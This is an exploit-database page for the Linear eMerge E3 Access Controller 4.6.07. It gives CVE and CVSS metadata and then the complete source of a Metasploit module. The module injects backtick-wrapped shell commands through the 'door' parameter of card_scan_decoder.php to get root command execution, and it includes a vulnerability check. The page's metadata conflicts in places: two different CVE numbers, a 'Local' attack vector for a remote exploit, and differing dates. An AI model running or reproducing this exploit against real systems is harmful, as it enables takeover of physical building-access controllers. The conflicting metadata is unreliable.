Exploitalert - Database of Exploits

eMerge E3 Access Controller 4.6.07 Remote Code Execution (Metasploit)

CVE	Category	Price	Severity
CVE-2019-7265	CWE-287	$0 - $5,000	High

Author	Risk	Exploitation Type	Date
Brendan Coles	High	Remote	2019-11-18

CPE
cpe:cpe:/a:emerge:e3_access_controller:4.6.07

CVSS	EPSS	EPSSP
CVSS:4.0/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H	0.02192	0.50148

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Local	AV	The vulnerable system is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either: the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or through terminal emulation (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	Low	PR	The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction	None	UI	The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope		S	An exploited vulnerability can affect resources beyond the security scope managed by the security authority that is managing the vulnerable component. This is often referred to as a 'privilege escalation,' where the attacker can use the exploited vulnerability to gain control of resources that were not intended or authorized.
Confidentiality	High	C	There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity	High	I	There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability	High	A	There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.

https://cxsecurity.com/ascii/WLB-2019110121

eMerge E3 Access Controller 4.6.07 Remote Code Execution (Metasploit)

# Exploit Title: eMerge E3 Access Controller 4.6.07 - Remote Code Execution (Metasploit) # Google Dork: NA # Date: 2018-11-11 # Exploit Author: LiquidWorm # Vendor Homepage: http://linear-solutions.com/nsc_family/e3-series/ # Software Link: http://linear-solutions.com/nsc_family/e3-series/ # Version: 4.6.07 # Tested on: NA # CVE : CVE-2019-7265 # Advisory: https://applied-risk.com/resources/ar-2019-009 # Paper: https://applied-risk.com/resources/i-own-your-building-management-system # Advisory: https://applied-risk.com/resources/ar-2019-005 # Tested on: GNU/Linux 3.14.54 (ARMv7 rev 10), Lighttpd 1.4.40, PHP/5.6.23 # ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Linear eMerge E3 Access Controller Command Injection', 'Description' => %q{ This module exploits a command injection vulnerability in the Linear eMerge E3 Access Controller. The issue is triggered by an unsanitized exec() PHP function allowing arbitrary command execution with root privileges. }, 'License' => MSF_LICENSE, 'Author' => [ 'Gjoko Krstic <[email protected]> ' # Discovery, Exploit, MSF Module ], 'References' => [ [ 'URL', 'https://applied-risk.com/labs/advisories' ], [ 'URL', 'https://www.nortekcontrol.com' ], [ 'CVE', '2019-7256'] ], 'Privileged' => false, 'Payload' => { 'DisableNops' => true, }, 'Platform' => [ 'unix' ], 'Arch' => ARCH_CMD, 'Targets' => [ ['Linear eMerge E3', { }], ], 'DisclosureDate' => "Oct 29 2019", 'DefaultTarget' => 0 ) ) end def check res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path.to_s, "card_scan_decoder.php"), 'vars_get' => { 'No' => '251', 'door' => '1337' } }) if res.code == 200 and res.to_s =~ /PHP\/5.6.23/ return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end def http_send_command(cmd) uri = normalize_uri(target_uri.path.to_s, "card_scan_decoder.php") res = send_request_cgi({ 'method' => 'GET', 'uri' => uri, 'vars_get' => { 'No' => '251', 'door' => "`"+cmd+"`" } }) unless res fail_with(Failure::Unknown, 'Exploit failed!') end res end def exploit http_send_command(payload.encoded) print_status("Sending #{payload.encoded.length} byte payload...") end end

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